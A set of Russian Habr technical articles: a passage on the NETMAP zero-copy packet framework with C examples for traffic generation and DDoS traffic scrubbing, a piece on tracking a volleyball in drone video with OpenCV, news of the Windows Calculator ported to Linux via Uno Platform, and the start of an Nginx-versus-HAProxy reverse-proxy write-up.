Netgraph (FreeBSD), Netfilter (Linux), Ndis Miniport драйверы (MS Windows) являются встроенными в ядро механизмами, которые используются в случае, когда копирование пакетов не требуется и приложение, например firewall, должно быть встроено в цепочку прохождения пакетов. Эти механизмы принимают трафик от драйвера сетевой карты и передают его в модули обработки без дополнительного копирования. Очевидно, что все указанные в данном пункте механизмы опираются на представление пакетов в виде mbuf/sk\_buff.
#### Direct buffer access
Одним из простых способов избежать дополнительного копирования в процессе передачи пакета из kernel space в user space и наоборот является возможность разрешить приложению прямой доступ к структурам NIC. Как правило, для этого требуется, чтобы приложение работало в ядре OS. Примерами могут быть проект программного роутера Click или генератор трафика kernel mode pkt-gen. Наряду с простотой доступа, kernel space является очень хрупкой средой, ошибки в которой могут привести к падению системы, поэтому более правильный механизм это экспортирование пакетных буферов в userspace. Примерами данного подхода являются PF\_RING и Linux PACKET\_MMAP, которые экспортируют область разделяемой памяти, содержащей заранее выделенные области для сетевых пакетов. Ядро операционной системы при этом осуществляет копирование данных между sk\_buff’ерами и пакетными буферами в разделяемой памяти. Это позволяет выполнять групповую обработку пакетов, но при этом остаются overheads связанные с копированием и управлением цепочкой sk\_buff.
Ещё более высокую производительность можно достигнуть в случае разрешения доступа к NIC прямо из userspace. Этот подход требует специальных драйверов NIC и увеличивает некоторые риски, т.к. NIC DMA engine сможет записать данные по любому адресу памяти и неправильно написанный клиент может случайно «убить» систему затерев критические данные где-нибудь в ядре. Справедливо заметить, что в большом количестве современных сетевых карт имеется блок IOMMU, который осуществляет ограничение записи NIC DMA engine в память. Примером данного подхода в ускорении производительности являются PF\_RING\_DNA и некоторые коммерческие решения.
3. Архитектура NETMAP
=====================
3.1. Основные особенности
-------------------------
В предыдущем материале рассматривались различные механизмы увеличения производительности обработки пакетов на высоких скоростях. Были проанализированы затратные операции в обработке данных, такие как: копирование данных, управление метаданными и другие overhead’ы возникающие при прохождении пакета из userspace через стек TCP/IP в сеть.
Представленный в докладе фреймворк, именуемый NETMAP, представляет собой систему, которая предоставляет userspace приложению очень быстрый доступ к сетевым пакетам, как для приёма, так и для отправки, как при обмене с сетью, так и при работе со стеком TCP/IP OS (host stack). При этом, эффективность не приносится в жертву рискам, возникающим при полном открытии структур данных и регистров сетевой карты в userspace. Фреймворк самостоятельно управляет сетевой картой, операционная система, при этом, выполняет защиту памяти.
Также, отличительной особенностью NETMAP является тесная интеграция с существующими механизмами OS и отсутствие зависимости от аппаратных особенностей специфических сетевых карт. Для достижения желаемых высоких характеристик по произвдительности NETMAP использует несколько известных техник:
• Компактные и лёгкие структуры метаданных пакета. Простые для использования, они скрывают аппаратно-зависимые механизмы, предоставляя удобный и простой способ работы с пакетами. Кроме того, метаданные NETMAP построены таким образом, чтобы обрабатывать множество самых разных пакетов за один системный вызов, уменьшая, таким образом, накладные расходы на передачу пакетов.
• Линейные preallocated буферы, фиксированных размеров. Позволяют уменьшать накладные расходы на управление памятью.
• Zero copy операции при форвардинге пакетов между интерфейсами, а также между интерфейсами и host stack’ом.
• Поддержка таких полезных аппаратных особенностей сетевых карт, как множественные аппаратные очереди.
В NETMAP каждая подсистема делает ровно то, для чего предназначена: NIC пересылает данные между сетью и оперативной памятью, ядро OS выполняет защиту памяти, обеспечивает многозадачность и синхронизацию.
Рис. №2. В режиме NETMAP очереди NIC отключены от стека TCP/IP OS. Обмен между сетью и host stack осуществляется только через NETMAP API
На самом верхнем уровне, когда приложение через NETMAP API переводит сетевую карту в режим NETMAP, очереди NIC отсоединяются от host stack. Программа таким, образом получает возможность контролировать обмен пакетами между сетью и стеком OS, используя для этого кольцевые буферы, которые называются «netmap rings». Netmap rings, в свою очередь, реализованы в разделяемой памяти (shared memory). Для синхронизации очередей в NIC и стеке OS используются обычные системные вызовы OS: select()/poll(). Несмотря на отключение стека TCP/IP от сетевой карты, операционная система продолжает работать и выполнять свои операции.
3.2. Структуры данных
---------------------
Ключевые структуры данных NETMAP изображены на Рис. №3. Структуры были разработаны с учётом следующих задач:
• Уменьшение overhead’ов при обработки пакетов
• Увеличение эффективности при передаче пакетов между интерфейсами, а также между интерфейсами и стеком
• Поддержка аппаратных множественных очередей в сетевых картах
Рис. №3. Структуры экспортируемые NETMAP в userspace
NETMAP содержит три типа объектов, видимых из userspace:
• Пакетные буферы ( packet buffers )
• Кольцевые буферы-очереди ( netmap rings )
• Дескриптор интерфейса ( netmap\_if )
Все объекты всех netmap enabled интерфейсов системы находятся в одной и той же области невыгружаемой разделяемой памяти, которая выделена ядром и доступна между процессам из user space. Использование такого выделенного сегмента памяти позволяет удобным образом осуществлять zero copy обмен пакетами между всеми интерфейсами и стеком. Вместе с тем, NETMAP поддерживает разделение интерфейсов или очередей таким образом, чтобы изолировать области памяти предоставляемые разным процессам друг от друга.
Поскольку разные пользовательские процессы работают в различных виртуальных адресах, все ссылки в экспортируемых NETMAP структурах данных являются относительными, т.е. являются смещениями.
Пакетные буферы (packet buffers) имеют фиксированный размер (2K в настоящее время) и используются одновременно NIC и пользовательскими процессами. Каждый буфер идентифицируется по уникальному индексу, его виртуальный адрес может быть легко вычислен пользовательским процессом, а его физический адрес может быть легко вычислен NIC DMA engine’ом.
Все netmap буферы выделяются в тот момент, когда сетевая карта переводится в режим NETMAP. Метаданные, описывающие буфер, такие как, индекс, размер и некоторые флаги, сохраняются в слотах ( slots ), которые являются основной ячейкой netmap ring’а, о котором будет рассказано ниже. Каждый буфер привязан к netmap ring и соответствующе й очереди в сетевой карте ( hardware ring ).
«Netmap ring» является абстракцией аппаратных кольцевых очередей сетевой карты. Netmap ring характеризуется следующими параметрами:
• ring\_size, количество слотов в очереди (netmap ring)
• cur, текущий слот для записи/чтения в очереди
• avail, количество доступных слотов: в случае TX – это пустые слоты, через которые можно отправить данные, в случае RX – это заполненные NIC DMA engine’ом слоты в которые пришли данные
• buf\_ofs, смещение между началом очереди и началом массива пакетных буферов фиксированного размера ( netmap buffers )
• slots[], массив состоящий из ring\_size количества метаданных фиксированного размера. Каждый слот содержит индекс пакетного буфера, содержащего принятые данные (либо данные для отправки), размер пакета, некоторые флаги используемые при обработке пакета
Наконец, netmap\_if содержит readonly информацию описывающую netmap интерфейс. Эта информация включает в себя: количество очередей (netmap rings) ассоциированных с сетевой картой и смещение, для получения указателя на каждую из ассоциированных с NIC очередей
3.3. Контексты обработки данных
-------------------------------
Как уже говорилось выше, структуры данных NETMAP используются совместно ядром и пользовательскими программами. В NETMAP’е строго определены «права доступа» и владельцы каждой из структур таким образом, чтобы обеспечить защиту данных. В частности, netmap rings всегда управляются из пользовательской программы, за исключением случаев, когда выполняется системный вызов. В ходе системного вызова, код из kernel space обновляет netmap rings, но делает это в контексте пользовательского процесса. Обработчики прерываний и другие kernel threads никогда не трогают netmap rings.
Пакетные буферы между cur и cur + avail – 1, также управляются пользовательской программой, тогда, как оставшиеся буферы обрабатываются кодом из ядра. В действительности только NIC осуществляет доступ к пакетным буферам. Границы между этими двумя регионами обновляются в ходе системного вызова.
4. Основные операции в NETMAP
=============================
4.1. Netmap API
---------------
Для того, чтобы перевести сетевую карту в режим netmap, программе следует открыть файловый дескриптор на специальное устройство /dev/netmap и выполнить
Ioctl(…, NIOCREGIF, arg)
Аргументы этого системного вызова содержат: имя интерфейса и (опционально) какой из netmap ring’ов мы хотим открыть, используя только что открытый файловый дескриптор. В случае успеха, вернётся размер разделяемой области памяти, в которой находятся все экспортированные NETMAP’ом структуры данных и смещение к области памяти netmap\_if, через которую мы получаем указатели на эти структуры.
После того, как сетевая карта переведена в режим netmap, два следующих системных вызова используются для форсирования приёма или отправки пакетов:
• ioctl (…, NIOCTXSYNC) – синхронизация очередей (netmap rings) для отправки с соответствующими очередями сетевой карты, что эквивалентно отправке пакетов в сеть, синхронизация начинается с позиции cur
• ioctl (…, NIOCRXSYNC) – синхронизация очередей сетевой карты с соответствующими очередями netmap rings, для получения пакетов, поступивших из сети. Запись осуществляется начиная с позиции cur
Оба приведённых выше системных вызова являются не блокирующимися, не выполняют лишнего копирования данных, за исключение копирования из сетевой карты в netmap rings и наоборот и работают как с одном, так и с многими пакетами за один системный вызов. Эта особенность является ключевой и даёт кардинальное уменьшении overhead’ов при обработке пакетов. Ядерная часть обработчика NETMAP в ходе указанных системных вызовов выполняет следующие действия:
• проверяет cur/avail поля очереди и содержимое слотов вовлеченных в обработку (размеры и индексы пакетных буферов в netmap rings и в hardware rings (очередях сетевой карты)
• синхронизирует содержимое вовлечённых в обработку пакетных слотов между netmap rings и hardware rings, выдаёт команду сетевой карте отправить пакеты, либо сообщает о наличии новых свободных буфером для приёма данных
• обновляет поле avail в netmap rings
Как видно, ядерный обработчик NETMAP выполняет минимум работы и включает в себя проверку введённых пользовательских данных для предотвращения краха системы.
4.2. Примитивы блокирования
---------------------------
Блокируемый ввод/вывод поддерживается с помощью системных вызовов select() / poll() с файловым дескриптором /dev/netmap. Результатом является либо досрочный возврат управления с параметром avail > 0. Перед возвратом управления из контекста ядра система выполнит те же действия, что и в вызовах ioctl(…NIOC\*\*SYNC). Используя данную технику пользовательская программа может, не загружая CPU, в цикле проверять состояние очередей, используя только один системный вызов за проход.
4.3. Интерфейс с несколькими очередями
--------------------------------------
Мощные сетевые карты с несколькими очередями NETMAP позволяет конфигурировать двумя способами в зависимости от того, какое количество очередей необходимо контролировать программе. В режиме по умолчанию один файловый дескриптор /dev/netmap контролирует все netmap rings, но в случае, если при открытии файлового дескриптора указано поле ring\_id, файловый дескриптор ассоциируется с единственной парой netmap rings RX/TX. Использование этой техники позволяет привязывать обработчики различных очередей netmap к определённым ядрам процессора через setaffinity() и осуществлять обработку независимо и без необходимости синхронизации.
4.4. Пример использования
-------------------------
Пример указанный на рис №5 является прототипом простейшего генератора трафика на базе NETMAP API. Пример предназначен для иллюстрации простоты использования NETMAP API. В примере используются упрощающие понимание кода макросы NETMAP\_XXX, позволяющие вычислить указатели на соответствующие структуры данных NETMAP. Для использования NETMAP API нет необходимости использовать какие-либо библиотеки. API разрабатывалось, таким образом, чтобы код получался максимально простым и понятным.
```
fds.fd = open("/dev/netmap", O_RDWR);
strcpy(nmr.nm_name, "ix0");
ioctl(fds.fd, NIOCREG, &nmr);
p = mmap(0, nmr.memsize, fds.fd);
nifp = NETMAP_IF(p, nmr.offset);
fds.events = POLLOUT;
for (;;) {
poll(fds, 1, -1);
for (r = 0; r < nmr.num_queues; r++) {
ring = NETMAP_TXRING(nifp, r);
while (ring->avail-- > 0) {
i = ring->cur;
buf = NETMAP_BUF(ring, ring->slot[i].buf_index);
//... store the payload into buf ...
ring->slot[i].len = ... // set packet length
ring->cur = NETMAP_NEXT(ring, i);
}
}
}
```
Прототип генератора трафика.
4.5. Передача/приём пакетов в/из host stack
-------------------------------------------
Даже когда сетевая карта переведена в режим netmap, сетевой стек OS всё ещё продолжает управлять сетевым интерфейсом и ничего «не знает» про отключение от сетевой карты. Пользователь может использовать ifconfig и/или генерировать/ожидать пакеты с сетевого интерфейса. Этот трафик, полученный или направленный в сетевой стек OS может быть обработан с использованием специальной пары netmap rings, ассоциированных с файловым дескриптором устройства /dev/netmap.
В случае, когда выполняется NIOCTXSYNC на этом netmap ring, ядерный обработчик netmap инкапсулирует пакетные буферы в структуры mbuf сетевого стека OS, посылая, таким образом, пакеты в стек. Соответственно, пакеты приходящие из стека OS размещаются в специальном netmap ring и становятся доступными пользовательской программе через вызов NIOCRXSYNC. Таким образом, вся ответственность при передаче пакета между netmap rings связанными с host stack и netmap rings связанными с NIC лежит на пользовательской программе.
4.6. Соображения безопасности
-----------------------------
Процесс, использующий NETMAP, даже если делает, что-то неправильно, не имеет возможности сделать крах системы, в отличие от некоторых других систем, например, таких как UIO-IXGBE, PF\_RING\_DNA. Фактически, область памяти, экспортируемая NETMAP в user space не содержит критических областей, все индексы и размеры пакетных и других буферов легко проверяются на валидность ядром OS перед использованием.
4.7. Zero copy packet forwarding
--------------------------------
Наличие всех буферов для всех сетевых карт в одной и той же области разделяемой памяти позволяет осуществлять очень быструю (zero copy) передачу пакетов с одного интерфейса на другой или в host stack. Для этого, всего лишь, необходимо сделать обмен индексами на пакетные буферы в netmap ring’ах ассоциированных с входящим и исходящим интерфейсах, обновить размер пакетов, флаги слотов и выставить значения текущей позиции в netmap ring’е (cur), а также обновить значения netmap ring/avail, которое сигнализирует о появившемся новом пакете для приёма и отправки.
```
ns_src = &src_nr_rx->slot[i]; /* locate src and dst slots */
ns_dst = &dst_nr_tx->slot[j];
/* swap the buffers */
tmp = ns_dst->buf_index;
ns_dst->buf_index = ns_src->buf_index;
ns_src->buf_index = tmp;
/* update length and flags */
ns_dst->len = ns_src->len;
/* tell kernel to update addresses in the NIC rings */
ns_dst->flags = ns_src->flags = BUF_CHANGED;
dst_nr_tx->avail--; // Для большей ясности кода проверка
src_nr_rx->avail--; // avail > 0 не сделана
```
5. Пример: NETMAP API для использования в подсистеме очистки трафика для системы DDOS защиты
============================================================================================
5.1. Основные требования
------------------------
Вследствие комбинирования предельно высокой производительности и удобных механизмов по доступу к содержимому пакетов, управлению маршрутизацией пакетов между интерфейсами и сетевым стеком, NETMAP является очень удобным фреймворком для систем выполняющих обработку сетевых пакетов на больших скоростях. Примерами таких систем являются приложения по мониторингу трафика, IDS/IPS системы, firewall’ы, роутеры и в особенности системы очистки трафика, являющиеся ключевым компонентом систем DDOS защиты.
В качестве основных требований к подсистеме очистки трафика в системе DDOS защиты выбраны возможность фильтрации пакетов на предельных скоростях и возможности по обработке пакетов в системе фильтров, реализующие различные, известные на сегодняшний день техники противодействия DDOS атакам.
5.2. Подготовка и включение режима netmap mode
----------------------------------------------
Поскольку предполагается, что прототип подсистемы очистки трафика будет анализировать и изменять содержимое пакетов, а также управлять собственными списками и структурами данных, необходимыми для выполнения DDOS защиты, требуется максимально перераспределить ресурсы CPU для выполнения операций модуля DDOS, соответственно, по возможности, оставив в NETMAP необходимый для работы на полной скорости минимум. Для этих целей предполагается ассоциировать несколько ядер CPU для работы со «своими» netmap rings.
```
struct nmreq nmr;
//…
for (i=0, i < MAX_THREADS, i++) {
// …
targ[i]->nmr.ringid = i | NETMAP_HW_RING;
…
ioctl(targ[i].fd, NIOCREGIF, &targ[i]->nmr);
//…
targ[i]->mem = mmap(0, targ[i]->nmr.nr_memsize, PROT_WRITE | PROT_READ,
MAP_SHARED, targ[i].fd, 0);
targ[i]->nifp = NETMAP_IF(targ[i]->mem, targ[i]->nmr.nr_offset);
targ[i]->nr_tx = NETMAP_TXRING(targ[i]->nifp, i);
targ[i]->nr_rx = NETMAP_RXRING(targ[i]->nifp, i);
//…
}
```
В случае, если мы планируется обмен пакетами с сетевым стеком OS, необходимо открыть netmap rings пару ответственную за взаимодействие со стеком.
```
struct nmreq nmr;
//…
/* NETMAP ассоциирует netmap ring с наибольшим ringid с сетевым стеком */
targ->nmr.ringid = stack_ring_id | NETMAP_SW_RING;
// …
ioctl(targ.fd, NIOCREGIF, &targ->nmr);
// …
5.3. Главный цикл rx\_thread
----------------------------
После выполнения всей необходимой подготовки и переводу сетевой карты в режим NETMAP, осуществляется запуск на выполнение thread’ов
for ( i = 0; i < MAX_THREADS; i++ ) {
/* start first rx thread */
targs[i].used = 1;
if (pthread_create(&targs[i].thread, NULL, rx_thread, &targs[i]) == -1) {
D("Unable to create thread %d", i);
exit(-1);
}
}
//…
/* Wait until threads will finish their loops */
for ( r = 0; r < MAX_THREAD; r++ ) {
if( pthread_join(targs[r].thread, NULL) )
ioctl(targs[r].fd, NIOCUNREGIF, &targs[r].nmr);
close(targs[r].fd);
}
//…
}
```
В результате, после запуска всех thread’ов, в системе остаются max\_threads + 1 независимых потока, каждый из которых работает со своим netmap ring без необходимости синхронизации друг с другом. Синхронизация потребуется только в случае обмена с сетевым стеком.
Цикл ожидания и обработки пакетов, таким образом, работает в rx\_thread().
```
while(targ->used) {
ret = poll(fds, 2, 1 * 100);
if (ret <= 0)
continue;
…
/* run filters */
for ( i = targ->begin; i < targ->end; i++) {
ioctl(targ->fd, NIOCTXSYNC, 0);
ioctl(targ->fd_stack, NIOCTXSYNC, 0);
targ->rx = NETMAP_RXRING(targ->nifp, i);
targ->tx = NETMAP_TXRING(targ->nifp, i);
if (targ->rx->avail > 0)
{
…
/* process rings */
cnt = process_incoming(targ->id, targ->rx, targ->tx, targ->stack_rx,
targ->stack_tx);
…
}
}
```
Таким образом, после получения сигнала о том, что в одним из netmap\_ring после системного вызова poll() поступили входящие пакеты, управление передаётся в функцию process\_incoming() для обработки пакетов в фильтрах.
5.5. process\_incoming()
------------------------
После передачи управления в process\_incoming, необходимо получить доступ к содержимому пакетов для анализа и обработки различными техниками распознавания DDOS.
```
limit = nic_rx->avail;
while ( limit-- > 0 ) {
struct netmap_slot *rs = &nic_rx->slot[j]; // rx slot
struct netmap_slot *ts = &nic_tx->slot[k]; // tx slot
eth = (struct ether_header *)NETMAP_BUF(nic_rx, rs->buf_idx);
if (eth->ether_type != htons(ETHERTYPE_IP)) {
goto next_packet; // pass non-ip packet
}
/* get ip header of the packet */
iph = (struct ip *)(eth + 1);
// …
}
```
Рассмотренные примеры кода раскрывают основные приёмы по работе с NETMAP, начиная от перевода сетевой карты в режим NETMAP и заканчивая получением доступа к содержимому пакетов при прохождении пакета через цепочку фильтров.
6. Производительность
=====================
6.1. Метрики
------------
При выполнении тестов на оценку производительности всегда необходимо вначале определиться с метриками тестирования. В обработку пакетов вовлечено множество подсистем: CPU, кэши, шина данных и т.п. В докладе рассмотрена параметр загрузки CPU, т.к. этот параметр может быть наиболее зависим от правильной реализации фреймворка, осуществляющего обработку пакетов.
Загрузку CPU принято измерять исходя из двух подходов: в зависимости от размера передаваемых данных (per-byte costs) и в зависимости от количества обработанных пакетов (per-packet cost). В случае NETMAP, из-за того, что выполняется zero copy packet forwarding, измерение загрузки CPU на основе per-byte не так так интересно, по сравнению с per-packet costs, т.к. отсутствует копирование памяти и следовательно при передаче больших объёмов, нагрузка на CPU будет минимальной. В то же время, при измерениях на основе per-packet costs NETMAP осуществляет относительно много действий при обработке каждого пакета и следовательно, измерение производительности в данном подходе представляет особенный интерес. Итак, измерения проводились на основе самых коротких пакетов, размером 64 байта (60 байт + 4 байта CRC).
Для измерений использовались две программы: генератор трафика на базе NETMAP и получатель трафика, который осуществлял исключительно входящих подсчёт пакетов. Генератор трафика в качестве параметров принимает: количество ядер, размер передаваемого пакета, количество пакетов, передаваемых за оди системный вызов (batch size).
6.2. Тестовое железо и OS
-------------------------
В качестве тестового железа использовалась система с i7-870 4-core 2.93GHz CPU (3.2 GHz в режиме turbo-boost), оперативная память работала на частоте 1.33GHz, в систему установлена двухпортовая сетевая карта на базе чипсета Intel 82599. В качестве операционной системы использовалась FreeBSD HEAD/amd64.
Все измерения проводились на двух одинаковых системах соединённых кабелем напрямую друг с другом. Полученные результаты, хорошо коррелируются, максимальное отклонение от среднего составляет около 2%.
Первые результаты тестов показали, что NETMAP очень эффективен и полностью заполняет канал 10GBit/s максимальным количеством пакетов. Поэтому для выполнения экспериментов было выполнено понижение частоты процессора, с целью определения эффективности изменений, сделанных за счёт кода NETMAP и получения различных зависимостей. Базовая частота (base clock) для СPU Core i7 составляет 133MHz, соответственно, используя CPU multiplier (max х21) имеется возможность запускать систему на наборе дискретных значений вплоть до 3GHz.
6.3. Скорость в зависимости от частоты процессора, ядер и т.п.
--------------------------------------------------------------
Первый тест – выполнение генерации трафика на различных частотах процессора, с использованием различного количества ядер, передавая множество пакетов за один системный вызов (batch mode).
При передаче 64-х байтовых пакетов позволяет мгновенно полностью заполнить 10GBit/s канал на одном ядре и частоте 900Mz. Простые расчёты показывают, что на обработку одного пакета затрачивается примерно 60-65 тактов процессора. Очевидно, что в данном тесте затрагиваются только затраты, которые вносит NETMAP обработку пакета. Не выполняется анализ содержимого пакета и прочие действия по полезной обработке пакета.
Дальнейшее увеличение количества ядер и частоты процессора приводит к тому, что CPU бездействует, до тех пор пока, сетевая карта занимается отправкой пакетов и не сообщит ему о появлении новых свободных слотов для отправки пакетов.
С увеличением частоты, можно наблюдать следующие показатели по загрузке процессора на одном ядре:
6.4. Скорость в зависимости от размера пакета
---------------------------------------------
Предыдущий тест показывает производительность на самых коротких пакетах, которые являются самым затратным с точки зрения per-packet costs. Данный тест измеряет производительность NETMAP в зависимости от размера передаваемого пакета.
Как видно из рисунка, скорость отправки пакетов почти по формуле 1/size снижается с увеличением размера пакета. Вместе с этим, в качестве сюрприза мы видим, что скорость приёма пакетов изменяется необычным образом. При передаче пакетов размером от 65 до 127 байт скорость падает до 7.5 Mpps. Данная особенность проверена в нескольких сетевых картах, включая 1Gbit/s.
6.5. Скорость в зависимости от количества пакетов за один системный вызов
-------------------------------------------------------------------------
Очевидно, что работа с большим количеством пакетов одновременно снижает overhead’ы и уменьшает стоимость обработки одного пакета. Поскольку не все приложения могут себе позволить работать таким образом, представляет интерес измерение скорости обработки пакетов в зависимости от количества пакетов обрабатываемых за один системный вызов.
7. Заключение
=============
Автору NETMAP’а (Luigi Rizzo) удалось добиться кардинального увеличения производительности за счёт исключения из процесса обработки пакетов overhead’ов, возникающих при прохождении пакета через сетевой стек OS. Скорость, которую NETMAP позволяет получить ограничивается только пропускной способностью канала. В NETMAP’е объединены лучшие техники увеличения производительности в обработке сетевых пакетов, а концепция, заложенная в NETMAP API предлагает новый, здоровый подход к разработке высокопроизводительных приложений по обработке сетевого трафика.
В настоящее время эффективность NETMAP оценена сообществом FreeBSD, NETMAP включён в HEAD версию OS FreeBSD, а также в ветки stable/9, stable/8. | https://habr.com/ru/post/183832/ | null | ru | null |
# Распознавание волейбольного мяча на видео с дрона
В прошлом году я развлекался [треккингом волейбольного мяча](https://habr.com/ru/post/505672/), используя удаление фона OpenCV с анализом траекторий и даже сделал [сервис](https://vbal.io), который на основе этой информации вырезает скучные моменты из игры.
Основным фидбеком было - что за каменный век использовать олдскульные технологии, обучаешь нейросеть и погнали. Я пробовал, но не взлетело - очень часто мяч настолько размыт, что его даже человеческим глазом не отличить от случайной кляксы, и даже простой бинарный классификатор не дает стабильных результатов, чего уже говорить о детекторах и прочих YOLO.
В общем, я это дело подзабросил, но вот весной завел себе дрон и конечно же первым делом приспособил его для волейбольных съемок. Если поднять его на нужную высоту (12-15 метров), в кадр влезает вся площадка, что дает прямо неограниченные возможности для анализа.
Камера дрона держится на гимбале, который гасит колебания аппарата и на выходе получается стабильная картинка. На эту картинку я и направил свой [алгоритм распознавания](https://github.com/tprlab/vball), но ...все оказалось не так то просто.
Шум и никакого мячаСтационарнось картинки с дрона на самом деле обманчива - тряска аппарата не проходит бесследно и хотя гимбал отлично делает свою работу, результат способен обмануть человека, но не бездушную машину - тряска вызывает небольшие колебания в цвете пикселей, и этих колебаний достаточно чтобы сбить с толку [алгоритмы распознавания фона](https://docs.opencv.org/master/d1/dc5/tutorial_background_subtraction.html).
Для сравнения - похожая подача при старом подходе выглядит вот так:
Делать нечего, придется искать другие подходы. У нас есть OpenCV, так что далеко идти все равно не придется. Вместо фона выделяем границы помощью [фильтра Канни](https://docs.opencv.org/master/da/d22/tutorial_py_canny.html) - и у нас есть черно-белый скетч для дальнейшего разбора.
```
gray = cv.cvtColor(frame, cv.COLOR_BGR2GRAY)
gray = cv.GaussianBlur(gray, (5, 5),0)
mask = cv.Canny(gray, 50, 100)
```
Если натравить на него детектор контуров - все прекрасно работает, мяч удается зацепить. Дальше подключается детектор траекторий и процесс идет как и в основном алгоритме.
```
mask = backSub.apply(frame)
mask = cv.dilate(mask, None)
mask = cv.GaussianBlur(mask, (15, 15),0)
ret,mask = cv.threshold(mask,0,255,cv.THRESH_BINARY | cv.THRESH_OTSU)
```
И опять же для сравнения - тот же фрагмент с неподвижной камеры с границами:
Как видно, палка имеет два конца - на трясущемся дроне Канни-фильтр дает лучшие результаты, а на статичной камере - генерит лишний фон, на котором теряется мяч.
Но что будет, если эти два подхода совместить? Для видео с дрона Канни сначала оставит только нужные фигуры, а затем, можно удалить фон.
Получается картинка не без шума, но его можно уже фильтровать, и мяч уже видно.
Результат - гораздо лучше, шума меньше (но есть еще) и траектория мяча распознается достаточно четко.
Прошлые статьи на эту же тему
-----------------------------
Распознавание мяча в волейболе с OpenCV и TensorflowПосле первого опыта распознавания спортивных движений у меня зачесались руки сделать что-нибудь еще ...[habr.com](https://habr.com/ru/post/505672/)Волейбол глазами компьютераВ прошлой статье я рассказал о своих подходах по распознаванию волейбольного мяча в игре. Задача сам...[habr.com](https://habr.com/ru/post/516448/)Архитектура облачного волейбольного сервисаНе так давно я писал про волейбольный сервис, теперь пришло время описать его с технической точки зр...[habr.com](https://habr.com/ru/post/524388/) | https://habr.com/ru/post/559852/ | null | ru | null |
# Калькулятор Windows портировали на Linux
В марте 2019 года корпорация Microsoft открыла исходный код «Калькулятора» (см. статью [«Подсчитаем баги в калькуляторе Windows»](https://habr.com/ru/company/pvs-studio/blog/443100/) на Хабре). Программа входила во все дистрибутивы Windows начиная с 1985 года (Windows 1.0). Последняя версия написана на С++ и содержит более 35 000 строк кода, см. [репозиторий на GitHub](https://github.com/Microsoft/calculator).
Полтора года потребовалось, чтобы [портировать калькулятор на Linux](https://platform.uno/blog/windows-calculator-on-linux-via-uno-platform/). Это событие осветили [все крупнейшие IT-издания](https://www.google.com/search?q=windows+calculator+linux+microsoft&newwindow=1&sxsrf=ALeKk01v4zGpNJPyUfQ52njz2fl_7slaJQ:1603104592809&source=lnms&tbm=nws&sa=X&ved=2ahUKEwjM1ar-vcDsAhVTAxAIHWr6DwEQ_AUoAnoECAQQBA&biw=1536&bih=750).
Некоторые критики считают, что событие не стоит столь широкого освещения. Однако такое часто случается, когда Microsoft делает какие-то незначительные шаги в пространстве Linux и Open Source. Поскольку многие IT-издания поддерживаются Microsoft, а темы соответствуют принципу кликбейта, они постоянно поднимаются в новостях (см. [When Linux 'News' is Clickbait and Worse | Techrights](http://techrights.org/2020/10/15/microsoft-spam-as-linux-news/)).
Так или иначе, сейчас новость состоит в следующем: разработчики Uno портировали калькулятор Windows (calc.exe) на Linux под названием «Uno Calculator», используя [платформу Uno](https://platform.uno/), инструментарий с открытым исходным кодом для создания кросс-платформенных приложений.
Linux-версия калькулятора Windows собрана путём компиляции старой кодовой базы C++ 90-х годов во фреймворке .NET 5, [сказано в блоге Uno](https://platform.uno/blog/windows-calculator-on-linux-via-uno-platform/).
Теперь калькулятор Windows можно запустить на Raspberry Pi и автомобилях Tesla, которые поддерживаются платформой Uno, также как в RHEL, Fedora, Debian, Linux Mint, CentOS и других дистрибутивах Linux.
Ранее разработчики Uno портировали калькулятор Windows под Android, iOS и macOS.
Ниже показаны калькулятор Windows 10, работающий в Windows (слева), и калькулятор Uno, работающий в Ubuntu (справа).
*Калькулятор Windows 10 и Uno Calculator*
Если вы используете Ubuntu и хотите установить Uno Calculator, то можете сделать это через Snap Store с помощью следующей команды:
```
snap install uno-calculator
```
После установки запустите *uno-calculator* для открытия программы с рабочего стола Ubuntu или другого рабочего стола с сервером X11.
*Калькулятор Uno на рабочем столе Ubuntu*
По мере [интеграции Windows и Linux](https://habr.com/ru/post/524034/) всё больше приложений Windows портируется на Linux. Например, в июле 2020 года Microsoft выпустила утилиту системного мониторинга Procmon под Linux как проект с открытым исходным кодом ([репозиторий GitHub](https://github.com/microsoft/ProcMon-for-Linux)).
***UPD**. По [информации](https://habr.com/ru/news/t/524076/#comment_22198436) наших читателей, калькулятор «работает и действительно похож на виндовый, но не совсем. И почему-то не взаимодействует с клавиатурой, можно только мышкой тыкать. Да и мышкой получается не очень. Ставил под Ubuntu бету через Snap. В общем, это очень сырой софт. Он и так-то не заслуживал новости, а в таком недоделанном виде и подавно».* | https://habr.com/ru/post/524076/ | null | ru | null |
# Пробы и ошибки при выборе HTTP Reverse Proxy
Всем привет!
Сегодня мы хотим рассказать о том, как команда сервиса бронирования отелей [Ostrovok.ru](https://ostrovok.ru/?utm_source=habr&utm_medium=pr&utm_campaign=bozhok_jan19) решала проблему роста микросервиса, задачей которого является обмен информацией с нашими поставщиками. О своем опыте рассказывает [undying](https://habr.com/ru/users/undying/), DevOps Team Lead в Ostrovok.ru.
Сначала микросервис был мал и выполнял следующие функции:
* принять запрос от локального сервиса;
* сделать запрос партнеру;
* нормализовать ответ;
* вернуть результат вопрошающему сервису.
Однако время шло, сервис рос вместе с количеством партнеров и запросов к ним.
По мере роста сервиса стали всплывать разного рода проблемы. Разные поставщики выдвигают свои правила работы: кто-то ограничивает максимальное количество соединений, кто-то ограничивает клиентов белыми списками.
В итоге нам предстояло решить следующие задачи:
* желательно иметь несколько фиксированных внешних IP адресов, чтобы можно было предоставлять их партнерам для добавления их в белые списки,
* иметь единый пул соединений ко всем поставщикам, чтобы при масштабировании нашего микросервиса количество соединений оставалось минимальным,
* терминировать SSL и держать `keepalive` в одном месте, тем самым снижая нагрузку для самих партнеров.
Долго думать не стали и сразу задались вопросом, что выбрать: Nginx или Haproxy.
Сперва маятник качнулся в сторону Nginx, так как большую часть проблем, связанных с HTTP/HTTPS, я решал с его помощью и всегда оставался доволен результатом.
Схема была простой: делался запрос в наш новый Proxy Server на Nginx с доменом вида `.domain.local`, в Nginx был `map`, где соответствовал адресу партнера. Из `map` брался адрес и делался `proxy_pass` на этот адрес.
Вот пример `map`, которым мы парсим домен и выбираем апстрим из списка:
```
### берем префикс из имени домена: .domain.local
map $http\_host $upstream\_prefix {
default 0;
"~^([^\.]+)\." $1;
}
### выбираем нужный адрес по префиксу
map $upstream\_prefix $upstream\_address {
include snippet.d/upstreams\_map;
default http://127.0.0.1:8080;
}
### выставляем переменную upstream\_host исходя из переменной upstream\_address
map $upstream\_address $upstream\_host {
default 0;
"~^https?://([^:]+)" $1;
}
```
А вот как выглядит “`snippet.d/upstreams_map`”:
```
